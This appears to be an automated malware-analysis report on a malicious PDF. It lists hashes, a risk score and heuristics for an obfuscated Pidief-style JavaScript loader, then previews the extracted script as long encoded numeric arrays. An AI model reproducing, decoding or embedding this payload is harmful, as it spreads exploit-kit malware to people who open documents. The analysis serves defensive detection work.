PDF malware analysis — malicious · cc41f4095648485b

MALICIOUS

PDF

11.5 KB First seen: 2026-05-10

MD5: 86db8cc5cabd9595509fada07d902376 SHA-1: 15d6e463ddc009942818b3ae30bf2efd002b1690 SHA-256: cc41f4095648485bc92f9513197192f1d47be2e9a0cd4fd41ad8906fcac5479d

86 Risk Score

Machine Learning

Nyx PDF Classifier malicious score 0.9998

Heuristics 3

Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER

PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0087_000.js`	pdf-javascript-stream	PDF /JS object 87 at offset 0x105	28029 bytes
SHA-256: `5d240791cca94b4e95b9ec77dc60c516e5432e2cdab3e6b792ae6b9dcc8b3d02`
Preview script First 1,000 lines of the extracted script jlz814D=[42,124,107,120,42,93,50,82,96,121,62,90,55,40,127,42,105,108,34,126,42,85,99,99,99,100,111,42,121,115,107,101,42,100,35,102,100,126,114,42,111,98,99,120,108,113,125,122,126,111,115,102,115,100,100,107,38,107,120,34,120,113,32,109,49,36,102,121,54,121,122,98,122,122,107,33,121,115,35,107,55,102,111,56,120,120,126,127,120,55,115,119,122,121,99,121,115,107,56,111,122,120,58,36,100,100,109,37,121,121,49,38,127,49,127,126,104,120,111,35,102,34,115,120,126,120,99,108,100,42,119,42,99,100,120,100,34,121,98,35,105,121,122,107,113,110,100,126,105,120,42,105,107,124,122,101,110,102,86,40,122,102,55,42,47,111,111,42,101,127,111,127,50,121,127,100,57,72,34,58,47,107,111,127,60,57,73,58,62,62,47,58,47,58,57,127,47,127,59,73,50,127,47,127,58,72,62,50,58,127,61,58,47,73,47,127,61,72,47,73,50,127,63,50,47,72,75,78,50,127,50,51,47,58,58,50,47,78,79,72,58,127,62,127,57,72,62,58,63,62,47,127,50,50,61,127,50,75,47,73,57,72,47,127,62,73,60,72,79,56,47,59,47,62,47,127,56,127,79,72,63,127,50,72,47,75,79,73,79,127,78,76,47,60,50,75,63,56,63,56,62,127,63,75,47,60,63,61,58,127,47,127,79,62,63,57,47,127,47,51,61,63,47,127,50,57,47,62,57,72,47,127,47,72,50,127,63,57,50,57,63,73,47,127,47,60,61,57,76,127,57,127,58,50,58,72,50,57]; gx6HTe13h6=[39,38,53,101,39,101,53,32,36,33,86,101,53,35,53,35,35,32,53,101,35,38,37,101,53,101,34,35,53,41,36,101,86,86,53,41,81,101,83,85,53,84,35,101,53,101,53,34,32,86,82,101,39,101,83,36,32,35,53,86,35,40,86,101,33,101,83,36,32,40,32,33,53,35,53,84,32,101,86,86,53,37,85,81,53,101,37,82,85,37,36,101,86,40,53,32,53,101,85,101,39,40,35,101,40,82,53,82,36,38,37,101,83,35,53,40,40,35,53,85,34,36,32,101,36,83,53,35,38,38,33,82,53,101,32,83,32,101,37,35,53,82,32,38,53,101,40,36,84,35,37,35,53,101,53,82,40,101,83,101,32,35,40,81,53,85,53,84,37,32,83,101,40,101,53,40,35,84,39,86,32,40,53,101,37,34,53,82,85,40,82,101,53,35,37,81,37,39,53,101,86,86,86,101,53,101,37,86,53,81,40,101,53,101,53,34,81,101,83,32,53,34,81,86,53,101,53,85,35,34,83,101,86,101,34,82,86,39,36,85,86,40,53,101,40,101,38,86,82,38,38,37,53,40,53,37,39,101,53,101,40,81,41,101,53,101,81,40,38,82,38,101,38,83,53,38,53,101,81,40,53,82,82,101,37,32,53,32,85,32,41,101,34,85,53,34,38,40,53,37,38,86,38,101,39,101,38,85,38,36,37,40,53,101,39,36,38,101,38,85,53,83,82,84,53,101,36,40,40,37,32,86,53,83,53,85,53,101,37,101,86,35,32,101,41,35,53,85,37,32,35,101,85,32,53,37,32,32]; N300enGii5Cp=[44,45,44,41,90,108,44,91,60,95,33,42,90,108,60,108,33,43,46,47,60,108,60,45,42,42,60,108,44,40,60,33,42,41,60,108,60,43,90,108,33,47,44,41,95,43,60,108,60,95,91,95,46,108,44,108,42,88,43,44,44,42,41,45,60,108,40,108,60,33,95,92,95,108,60,46,60,95,44,91,60,108,44,44,32,108,60,108,44,92,60,47,91,108,95,95,60,33,33,108,44,46,60,88,41,108,60,108,60,41,41,45,44,108,47,108,41,33,92,95,60,45,90,92,92,108,91,108,44,41,95,95,47,44,60,45,60,33,46,108,46,95,60,42,42,45,60,108,43,88,43,42,46,108,46,44,60,41,60,108,46,108,46,95,46,108,47,40,60,43,47,92,47,108,47,41,60,92,47,95,60,32,43,93,46,108,47,92,60,95,46,42,43,45,60,108,43,95,47,108,46,45,60,44,46,45,60,108,46,41,46,95,47,90,60,108,60,95,47,108,47,108,47,41,47,95,60,45,60,33,43,92,46,108,43,108,60,90,42,41,46,40,42,95,60,108,47,41,60,47,44,95,47,108,60,93,46,45,47,42,60,108,41,41,47,108,60,108,46,44,60,41,47,48,60,108,57,92,47,108,46,111,69,59,124,57,46,57,123,69,59,108,120,107,34,60,46,122,108,114,117,118,124,41,119,105,106,36,122,60,122,49,120,93,122,41,107,41,122,41,108,57,122,90,95,99,120,69,59,75,74,87,126,94,120,48,85,120,74,120,34,108,119,111,57,67,127,108,124,122,120,41,96,36,57,86,122,60]; Y9N6Yft11dzDD=[23,105,59,62,46,56,123,40,110,62,99,40,110,40,110,62,123,40,123,62,123,40,123,40,123,40,110,40,123,40,110,62,123,40,110,62,123,62,123,40,123,62,123,62,126,122,110,40,123,62,123,115,110,62,123,40,127,46,110,40,110,126,127,62,125,62,110,40,127,127,125,47,110,45,124,62,126,122,127,121,127,115,127,120,110,62,125,41,127,46,124,62,127,42,110,114,127,62,127,125,124,122,126,62,110,41,110,122,126,62,125,62,126,114,127,41,110,127,110,47,110,114,126,62,127,62,110,42,124,114,124,114,110,121,125,62,127,46,110,121,125,45,125,62,125,62,124,42,127,122,110,42,125,120,110,47,127,62,125,121,110,62,126,46,110,120,110,120,125,62,127,125,127,122,127,123,110,62,126,121,110,126,124,62,126,127,126,120,110,62,124,124,110,40,110,62,127,120,110,62,126,122,127,62,126,124,110,121,126,34,110,62,112,60,23,105,62,124,32,125,41,39,46,126,47,101,39,40,125,35,98,124,107,44,63,99,123,46,37,39,39,98,118,35,32,39,107,112,36,107,120,119,41,40,40,41,32,125,115,39,96,121,124,36,36,40,41,40,36,118,36,62,32,118,41,32,41,39,115,121,44,57,34,101,63,56,102,125,56,37,46,40,123,107,46,103,36,107,56,47,120,99,39,39,46,50,63,44,124,46,37,101,39,35,38,35,36,98,112,37,98,50,118,112,57,45,38,60,99,123,51,34,107,36,57,46,118,57,42,10,123,34,119,36,112,123,99,57,34,123,22,50,123,98,107,32,16,96]; EICrI90r6zPhqu=[20,4,31,13,31,20,82,68,82,80,31,86,83,2,77,90,83,76,92,93,77,80,87,83,92,90,91,83,17,90,91,79,85,86,4,79,111,77,81,79,86,66,118,107,103,75,74,72,94,75,92,103,83,23,119,69,92,120,99,29,106,87,81,113,101,82,74,123,88,124,94,124,84,69,89,75,31,81,99,29,123,125,108,90,19,112,93,91,23,90,74,22,86,4,72,83,22,31,99,29,75,17,75,78,110,80,23,108,79,91,116,113,114,77,108,82,86,86,84,118,71,81,85,117,83,113,75,116,103,81,99,29,86,82,73,102,89,80,72,31,120,111,75,22,22,31,120,89,101,88,123,4,113,90,70,90,19,31,75,116,81,113,68,77,72,17,82,86,76,23,87,75,23,94,81,17,22,74,91,111,83,86,83,90,70,83,94,90,66,23,77,94,75,94,90,31,92,4,81,90,66,92,88,120,123,86,87,91,75,68,83,74,31,17,124,121,69,94,79,109,108,22,70,94,75,77,115,94,108,90,86,113,23,81,19,101,89,74,23,90,72,80,22,31,81,112,81,75,74,31,75,31,123,75,74,4,66,22,89,94,96,75,86,81,92,86,86,89,77,83,81,79,77,68,79,94,92,94,73,81,90,2,70,31,124,23,23,94,79,83,22,15,12,74,80,76,74,94,9,74,7,90,91,12,26,99,29,8,74,26,125,7,125,15,125,26,74,12,11,15,74,26,124,7,15,26,124,11,15,11,7,26,74,8,74,26,124,26,123,14,15,7,74,26,15,11,125,26,7,10,125,15,74,7,74,126,7,8]; m9zh8Y1k=[42,46,46,38,39,59,92,59,107,91,107,42,90,43,93,43,107,59,46,59,93,45,107,59,38,91,47,59,107,38,44,59,92,59,107,40,95,44,92,59,92,42,95,45,107,59,44,91,42,91,93,38,95,91,107,90,107,59,88,38,45,42,44,43,42,59,107,43,92,43,107,43,43,91,95,59,107,59,107,59,39,38,107,43,107,46,40,59,107,43,92,59,41,41,40,45,45,41,38,59,107,38,45,41,107,45,93,38,92,88,107,43,45,59,40,38,107,59,40,46,42,44,107,46,39,59,107,41,45,93,107,59,45,45,92,59,45,59,107,45,46,95,107,43,107,42,45,59,90,42,45,88,39,59,46,88,107,59,40,59,107,45,47,47,107,92,88,46,38,59,45,88,91,46,38,41,107,46,42,46,88,93,107,93,44,59,42,59,107,45,107,59,88,45,92,42,107,59,90,59,47,43,107,59,46,43,38,59,38,88,45,46,95,59,107,91,92,91,43,59,43,41,88,91,107,59,91,40,42,59,40,38,93,42,107,88,107,59,92,38,92,46,40,93,45,59,107,59,107,44,107,42,40,46,45,47,107,59,38,59,92,38,107,46,93,43,95,59,107,43,45,59,45,46,45,90,42,93,91,59,107,38,46,43,107,59,88,46,92,93,107,38,44,59,107,38,107,59,90,43,45,43,38,41,95,59,107,46,45,93,107,92,95,43,90,59,88,59,107,45,41,95,107,43,107,38,38,59,107,91,45,59,38,88,92,88,107,59,88,59,107,88,41,38,107,93,88,92,44,88,107,95,46,59,38,42,107,45]; Mo1G4q=[82,86,34,38,101,34,85,53,86,53,34,81,101,53,85,82,40,38,32,53,101,39,37,81,101,53,38,41,37,53,82,38,40,38,82,53,101,38,101,53,81,53,32,40,38,41,101,53,83,38,86,53,40,37,40,38,101,34,101,85,32,38,40,38,36,39,85,53,85,53,101,38,101,39,37,32,40,37,101,53,34,53,83,38,101,53,36,32,83,53,101,38,86,53,84,53,101,40,85,37,35,53,37,36,85,82,101,53,36,86,85,35,32,41,82,37,101,85,101,53,32,32,38,83,32,37,34,53,101,37,35,40,101,37,35,40,32,53,101,53,101,53,36,37,101,39,101,83,37,53,101,40,32,53,35,35,86,37,33,82,81,53,101,83,86,33,101,35,34,37,34,39,101,86,38,53,36,37,101,53,86,34,40,37,101,35,40,53,101,32,32,37,101,53,35,32,37,53,85,53,101,37,82,40,101,41,101,82,86,53,81,86,39,86,38,53,40,86,101,53,37,53,101,37,85,82,101,37,86,86,85,53,86,85,39,85,86,38,101,32,40,39,36,37,101,32,32,53,32,53,101,83,101,53,36,39,81,39,101,53,40,53,37,34,101,53,32,38,37,53,86,39,36,38,36,53,101,34,34,39,35,53,35,39,86,35,101,53,41,39,84,53,85,38,85,38,101,39,101,53,33,38,36,39,35,38,32,53,101,53,101,34,101,38,36,34,86,34,101,53,85,53,37,39,101,38,86,38,86,53,101,39,83,53,36,39,86,39,32,38,36,53,101,38,85,38,101,53,33,38,86,39,101,38,32,53,101,34]; snKec=[120,40,53,63,75,58,75,58,57,40,120,62,61,58,120,59,61,58,61,40,60,40,120,62,62,58,120,59,120,59,78,40,120,56,73,40,75,59,59,59,120,81,47,79,99,36,59,125,48,99,54,62,81,47,61,108,104,126,123,40,40,120,37,108,120,98,127,120,61,76,110,45,61,76,125,120,61,76,40,127,54,76,45,104,61,76,61,101,108,76,40,99,61,76,104,76,40,120,61,108,48,98,125,102,97,123,38,111,81,47,36,61,125,110,106,45,105,97,98,98,116,108,97,100,125,108,108,104,123,111,48,108,126,98,110,110,127,54,104,120,36,61,120,40,111,37,81,47,125,99,102,76,61,126,105,104,81,47,76,104,76,61,127,127,120,54,119,108,127,104,123,61,76,40,48,100,101,108,127,54,123,100,61,63,108,45,116,125,104,104,126,104,108,102,38,48,101,108,35,45,125,97,126,105,104,98,104,101,97,108,119,127,101,99,110,111,110,101,106,111,122,121,100,54,97,97,104,125,127,102,104,49,126,121,35,98,106,37,118,108,116,97,111,97,98,100,100,36,101,99,100,38,48,127,106,106,111,111,45,123,111,111,48,110,102,111,100,97,98,106,100,102,97,97,108,54,112,106,97,110,102,107,111,98,102,97,126,110,110,120,98,111,61,99,111,35,108,36,126,37,127,126,106,127,45,123,121,33,111,127,48,98,110,108,100,111,97,106,116,125,100,102,111,37,126,35,54,110,102,111,106,33,121,120,106,97,104,111,111,97,98,126,97,99,100,100,101,102,61,32,110,99,106,127,126,121,97,104]; BmyGGc07F8e0aq=[18,72,80,71,91,89,7,70,1,0,90,93,65,70,74,64,65,75,7,2,69,94,91,25,76,66,25,21,25,72,80,89,78,69,82,81,74,75,69,70,29,66,69,0,74,75,25,66,2,70,74,70,20,75,69,25,64,66,74,75,95,66,18,72,69,69,2,70,91,84,69,79,80,76,68,1,71,9,68,72,0,72,104,18,91,118,72,20,79,76,94,20,25,91,95,70,80,91,91,9,91,9,91,1,64,72,25,21,18,29,91,64,24,118,72,76,2,25,69,18,64,72,80,2,64,70,74,75,0,91,68,82,89,65,76,114,68,66,2,116,71,72,69,72,16,16,91,16,20,70,74,75,16,16,68,9,16,84,95,16,24,66,18,92,16,16,16,16,16,16,16,17,16,27,16,20,17,16,17,17,17,17,17,16,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17]; jh5D5uSa=[20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,89,20,20,20,20,88,20,20,20,20,20,92,20,0,28,74,66,23,28,69,2,88,94,64,74,89,66,79,112,14,4,74,89,69,5,66,25,112,14,66,88,69,77,9,23,28,24,79,67,81,65,69,64,77,73,4,67,64,12,64,95,77,64,65,78,115,79,79,5,87,64,77,73,17,67,68,94,12,73,72,90,66,73,95,89,89,4,28,9,28,31,112,14,9,89,26,31,111,20,92,89,24,28,9,73,9,89,27,89,31,24,20,89,20,110,9,110,24,28,28,89,27,110,9,20,28,28,9,111,28,111,20,89,25,110,9,110,29,111,28,104,9,89,20,21,20,89,105,28,9,20,20,110,9,89,109,104,24,110,25,111,9,89,9,24,31,89,20,89,27,24,25,28,9,111,9,109,26,109,24,89,24,89,9,110,105,29,104,20,105,30,9,89,31,30,9,109,25,30,20,89,9,111,105,106,25,110,9,89,20,21,105,89,9,89,30,109,9,110,24,89,9,89,9,31,20,89,105,24,9,110,27,26,9,89,9,31,25,25,28,89,25,89,31,26,25,27,31,31,20,110,9,89,25,89,27,111,20,26,27,24,9,31,9,20,28,89,9,89,31,31,20,89]; k5lzZG60lsZXA=[115,35,100,20,97,101,99,35,16,101,115,96,115,35,16,111,115,102,102,35,99,102,115,101,21,111,98,35,16,101,115,98,98,103,115,19,23,18,101,35,103,35,102,16,101,96,16,16,115,35,20,100,102,35,101,110,115,101,97,110,115,35,21,98,102,23,98,101,115,18,115,103,115,35,16,35,102,110,21,35,19,20,115,16,19,16,99,35,102,20,115,20,98,110,16,102,97,99,101,35,110,19,115,101,96,96,102,35,115,35,99,101,21,99,115,35,115,96,102,98,115,35,19,21,115,96,103,20,115,35,115,20,110,35,100,21,110,20,102,110,115,35,115,98,99,101,110,35,98,35,99,101,18,23,110,16,102,101,115,35,102,35,115,18,102,110,99,35,115,102,115,19,99,101,115,35,101,101,97,35,115,35,21,100,115,101,110,35,20,110,115,18,99,35,21,23,115,97,99,35,115,35,115,16,21,23,110,35,16,35,21,20,19,110,115,102,23,100,16,35,99,35,101,16,16,16,110,100,115,97,115,20,16,35,16,110,115,110,98,100,115,35,96,16,20,20,23,35,96,99,115,19,115,35,23,35,97,99,100,35,111,110,115,19,96,96,96,35,96,102,115,102,96,21,115,96,23,20,20,35,99,110,115,19,110,23,96,102,115,35,111,19,100,35,96,98,115,110,97,16,115,35,19,99,96,18,99,21,115,35,115,110,96,35,96,35,96,19,102,100,115,110,115,19,110,19,98,35,97,35,115,101,99,21,19,98,16,16,115,35,20,98,115,102,99,102,111,35,115,102,102,102,99,99,115,35,102,98]; Zq1H0sq=[11,70,22,70,6,113,22,0,112,70,22,70,22,5,6,70,0,1,22,1,0,6,22,70,22,2,11,0,112,70,6,70,0,117,11,0,6,5,112,3,22,70,4,70,113,1,6,7,2,11,22,117,22,114,1,70,22,70,6,4,6,70,22,70,6,6,3,3,117,70,117,117,22,117,22,70,4,11,22,113,0,70,10,11,22,0,6,5,113,70,117,118,22,11,117,118,22,4,11,114,3,70,113,70,3,117,6,6,118,7,22,70,6,3,118,70,112,117,22,117,5,118,22,70,6,3,117,7,4,7,22,11,22,6,22,70,4,70,4,117,3,70,0,114,22,7,1,117,1,70,5,1,22,2,5,6,4,3,4,0,4,70,5,10,22,117,4,0,4,70,22,70,5,3,5,0,22,70,22,118,1,119,22,70,4,118,22,7,1,6,22,70,22,7,4,70,1,117,5,117,4,118,22,70,22,3,4,7,5,70,5,70,5,117,4,117,1,2,5,112,22,70,5,70,22,3,0,117,5,70,22,118,22,7,1,117,22,70,0,119,4,70,22,70,5,3,22,3,5,70,5,112,22,11,4,70,4,7,22,0,4,70,22,70,111,17,2,4,3,5,26,5,70,8,5,6,117,65,69,4,3,5,65,5,94,82,0,5,113,108,65,22,94,19,82,86,68,14,114,86,80,65,93,82,65,8,65,19,80,82,75,80,14,82,74,3,80,3,74,19,69,27,65,8,69,3,26,3,80,3,3,7,82,82,108,19,3,95,80,87,87,19,86,80,3,3,87,3,75,93,69,65,14,3,14,92,95,64]; q9b62=[90,92,74,85,81,88,75,2,92,85,87,25,11,77,81,92,94,87,88,92,23,19,92,90,79,4,20,88,102,93,93,85,75,2,18,17,4,75,1,10,85,9,65,87,74,75,88,16,76,17,101,27,73,2,73,74,79,74,28,25,76,9,0,9,0,87,64,88,75,9,0,88,92,64,0,9,77,76,28,92,90,75,2,74,64,16,4,95,2,88,74,73,88,79,101,27,21,88,80,80,65,87,75,75,92,73,17,102,76,25,16,85,9,11,90,13,77,86,4,87,9,17,22,86,75,9,90,2,95,93,9,9,65,90,75,17,79,16,20,87,77,9,90,88,75,88,76,2,90,90,93,86,76,25,86,11,77,86,84,4,9,102,87,5,90,87,88,92,16,77,2,87,77,75,18,86,76,76,75,66,90,88,76,98,84,87,64,18,18,75,77,86,2,86,81,73,85,100,74,68,79,92,4,74,86,64,92,25,86,85,88,88,75,85,90,92,95,79,90,9,74,92,93,76,87,75,76,9,92,90,80,2,78,9,88,78,4,73,90,81,101,27,28,92,101,27,90,17,90,28,76,17,86,85,81,87,86,75,95,16,92,79,16,9,94,85,75,86,23,5,13,85,79,77,0,92,92,78,85,92,11,13,4,18,75,86,78,95,66,12,78,86,86,91,106,77,79,85,68,86,81,2,85,80,92,91,23,77,74,85,88,95,122,75,85,23,85,90,86,95,90,86,88,86,90,85,85,4,86,84,88,84,66,77,124,92,74,101,27,83,94,87,80,85,68,3,74,76,17,16,112,75,86,21,3,101,27,86]; qdIJay8h0=[63,43,37,44,62,47,42,47,32,39,44,38,60,43,22,37,39,61,50,114,38,61,32,105,52,32,47,96,42,46,40,38,45,57,57,42,37,97,40,39,44,43,42,103,59,50,103,105,97,103,10,38,40,40,0,46,59,37,40,59,38,38,37,61,59,8,44,48,105,39,63,48,116,39,96,42,97,62,40,61,105,63,40,59,114,96,60,48,40,59,108,44,63,116,42,57,97,39,44,21,107,44,63,10,40,108,121,108,122,33,121,122,60,57,58,127,60,108,121,113,121,113,60,125,11,126,11,108,60,113,10,126,11,121,60,122,125,121,60,108,10,113,60,120,60,108,10,125,113,8,60,108,112,108,60,121,60,12,13,108,11,113,121,125,13,108,113,124,11,122,11,113,60,121,113,126,125,108,121,122,121,108,60,125,60,108,10,127,60,124,123,13,10,124,60,12,125,108,8,108,113,12,120,108,60,113,60,12,11,123,60,108,8,125,11,108,60,125,11,108,123,12,8,12,60,108,10,113,60,113,11,108,15,121,127,113,122,108,123,124,125,108,60,124,8,124,112,124,124,124,60,124,127,108,60,113,11,108,126,108,122,122,60,108,60,108,60,121,125,126,11,108,122,124,113,108,60,113,122,126,122,122,10,15,60,108,122,108,11,126,127,113,127,125,122,123,60,108,120,124,112,121,60,126,122,10,121,108,60,122,60,15,122,108,60,122,121,8,60,108,12,15,60,122,60,108,13,125,112,121,127,108,123,108,60,121,60,122,15,120,113,11,15,121,15,108,122,108,125,10,113,126,60,15,125,121,60,108]; wVcGo1YiU2=[31,28,29,26,44,105,44,124,106,124,44,106,108,31,27,109,44,110,104,108,44,124,105,108,97,124,44,31,97,28,24,28,44,124,27,105,44,109,44,107,108,124,28,105,106,111,26,124,111,97,44,97,109,124,106,104,27,97,27,124,111,26,97,124,44,109,44,124,27,29,111,105,44,97,106,124,44,105,27,124,106,124,26,108,24,124,44,108,44,108,106,105,106,124,109,97,28,124,44,97,105,108,31,108,29,26,44,124,106,124,44,26,106,124,29,97,97,108,44,124,97,110,24,124,44,105,107,26,27,28,24,108,44,27,31,124,44,106,110,24,97,124,105,31,44,31,44,124,107,31,107,31,31,124,28,124,44,124,44,31,110,97,107,26,31,27,44,124,97,124,31,106,97,109,44,24,27,111,44,124,111,96,108,107,44,111,28,24,97,124,44,27,24,111,105,111,44,110,108,24,44,124,111,96,44,97,44,124,27,111,27,28,44,124,28,124,44,111,44,111,105,124,97,110,26,111,108,124,97,108,28,111,31,107,44,111,105,111,97,124,109,27,107,124,44,110,44,124,26,97,44,105,31,28,97,108,44,31,28,124,28,124,109,105,26,124,44,111,44,108,29,108,44,124,28,26,106,124,44,109,108,124,109,97,105,106,44,124,105,96,44,108,106,124,105,26,108,105,111,124,105,108,107,124,44,108,27,97,109,97,106,110,44,108,31,124,44,108,107,124,106,124,111,108,44,124,44,124,44,107,97,106,105,124,104,31,24,124,44,26,31,104,105,106,107,110,44,124,110,124,108,27,109,108,31,27,31,108]; MZepK871M4y8R4=[85,5,101,25,24,19,85,16,19,21,24,5,85,16,85,102,101,5,85,21,98,24,85,5,23,102,85,21,85,5,97,102,22,16,21,5,16,5,85,101,85,99,20,98,101,21,102,102,20,5,102,5,16,21,102,22,85,101,24,23,85,5,102,19,24,16,85,22,85,5,20,5,85,23,19,23,97,23,85,23,21,18,85,5,16,22,21,5,85,23,102,18,20,23,85,5,18,23,85,22,85,18,19,5,25,18,102,23,101,5,101,22,85,23,100,5,16,18,17,22,20,5,19,22,101,5,85,22,85,5,21,23,20,22,85,18,102,5,85,22,102,5,20,5,102,22,102,5,85,23,85,18,102,23,99,5,16,22,20,5,85,22,101,22,17,23,16,23,85,5,100,5,85,22,16,5,24,22,99,23,85,5,102,23,20,5,85,19,16,23,22,21,16,22,85,22,17,5,85,19,19,23,102,0,86,22,85,22,85,5,16,119,82,22,98,80,29,124,2,72,16,9,86,81,21,86,27,19,84,99,82,27,14,65,65,72,89,69,110,16,71,76,16,16,16,65,69,88,86,78,78,16,72,0,13,16,99,8,76,10,18,84,72,16,16,69,88,21,16,82,81,119,20,29,24,16,78,80,11,86,65,8,29,9,27,19,124,2,110,83,5,65,82,0,80,85,85,65,69,83,89,16,25,69,67,80,25,16,65,85,25,16,5,82,25,88,82,83,29,16,89,65,84,70,83,89,124,2,69,80,12,73,9,65,82,27,9,76,8,127,107,21,97,67,73,27,86,78,16,67,21,74,16,0,80,16,16,70]; C00gY9603L0T=[96,107,109,109,37,62,109,37,109,116,112,117,109,62,114,105,109,109,109,105,109,109,37,109,47,117,109,109,96,100,43,60,62,102,43,109,102,36,59,125,45,50,100,62,12,12,47,43,44,97,25,44,36,25,118,107,104,107,107,55,22,107,38,118,44,59,25,44,62,60,102,104,28,43,47,12,12,116,107,6,36,36,36,25,100,62,0,100,36,56,45,60,47,125,36,96,43,47,41,46,19,8,43,60,102,43,16,53,43,53,45,118,26,62,47,32,51,40,60,42,96,63,41,60,1,127,56,53,41,8,100,46,56,109,117,1,127,120,56,116,63,58,41,16,102,56,51,45,42,19,49,42,37,53,97,19,53,115,117,52,109,109,49,26,63,116,38,26,42,109,109,105,42,19,8,102,53,41,8,96,32,118,96,26,1,127,16,53,41,63,16,53,26,8,41,63,16,42,19,8,1,127,53,41,62,19,118,115,57,45,63,16,115,19,49,115,30,26,115,58,56,63,42,50,45,102,117,62,50,50,60,41,20,49,32,116,8,51,13,50,102,13,60,16,53,41,13,125,40,32,60,26,42,25,62,19,63,59,25,43,117,25,38,27,51,43,27,41,52,51,56,116,42,43,96,52,50,47,46,47,47,56,125,51,50,51,45,56,46,45,115,11,56,41,115,60,41,52,43,50,58,51,52,47,52,14,50,47,43,117,60,56,45,96,116,115,51,102,52,49,47,56,56,113,122,117,47,46,52,56,114,62,51,46,43,114,58,2,25,1,1,47,50,47,102,36,47,116,60,47,47,47,125,43,60,47,122,51]; xE289eJZV32gKwn=[122,117,104,114,59,98,122,108,38,122,116,105,51,90,126,50,116,109,111,114,126,117,104,51,53,105,115,122,55,120,53,120,116,109,43,90,115,51,105,90,126,122,126,105,105,50,111,117,104,120,116,117,114,114,55,109,42,125,50,122,53,68,104,114,122,51,105,90,115,105,117,104,109,32,41,50,105,122,111,51,51,122,114,70,98,38,43,116,35,64,105,114,122,50,38,42,122,117,104,122,61,105,70,38,64,61,116,104,51,51,50,103,105,109,38,43,105,105,68,122,103,109,42,105,122,98,117,68,109,105,61,64,105,98,105,105,104,122,114,116,98,114,122,70,122,41,68,61,70,117,38,38,42,39,64,111,105,111,50,96,125,50,40,122,116,114,110,105,51,119,125,51,68,109,117,32,122,107,114,114,122,114,50,122,68,98,116,117,104,51,102,39,105,105,68,122,103,105,116,50,70,103,35,43,51,98,61,61,105,109,38,35,64,43,122,114,122,104,109,122,42,105,70,117,104,116,105,38,64,70,122,105,117,41,117,68,114,68,114,122,122,64,105,122,50,105,61,61,39,50,98,64,105,116,105,104,39,122,109,70,98,41,41,122,116,68,119,51,126,119,102,114,50,118,121,117,96,105,51,109,122,120,68,122,116,114,125,32,119,43,122,98,122,51,105,105,104,114,122,39,64,43,122,105,70,114,34,50,70,38,64,117,104,116,51,109,38,122,103,103,116,34,114,122,61,104,109,98,122,61,105,105,68,105,105,119,96,70,98,64,117,122,105,122,116,68,42,51,120,42,119,126,50,116,121,68,117,50]; kUf3xaJ=[22,17,94,110,122,67,88,73,87,90,3,67,77,2,68,10,10,10,110,94,10,122,78,2,10,17,110,10,10,10,10,108,87,122,3,10,10,17,108,10,10,10,10,10,10,10,3,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,8,17,10,92,75,88,10,107,80,108,127,66,95,94,102,72,124,19,97,19,23,125,18,114,64,89,30,122,4,89,90,70,67,94,2,8,8,3,17,10,92,75,88,10,92,28,25,19,80,18,111,28,18,103,30,125,23,28,31,24,26,17,10,92,75,88,10,107,78,19,29,92,99,28,100,23,19,17,10,92,75,88,10,77,122,109,114,65,26,26,99,125,23,68,79,93,10,107,88,88,75,83,2,24,6,24,6,27,6,28,6,24,6,25,6,29,6,31,6,27,3,17,10,92,75,88,10,92,100,98,75,68,72,6,103,70,115,109,97,28,6,79,71,114,27,103,71,121,6,82,108,108,25,90,126,28,101,121,122,99,69,94,6,109,31,110,29,64,68,68,94,64,29,73,89,19,6,88,111,114,115,24,105,122,126,76,93,6,80,29,126,69,112,112,98,17,76,69,88,10,2,103,70,115,109,97,28,23,26,17,10,103,70,115,109,97,28,22,107,78,19,29,92,99,28,100,17,10,103,70,115,109,97,28,1,1,3,10,10,81,10,10,10,10,10,10,92,75,88,10,76,26,24,93,101,103,19,105,26,24,77,83,107,23,77,122,109,114]; 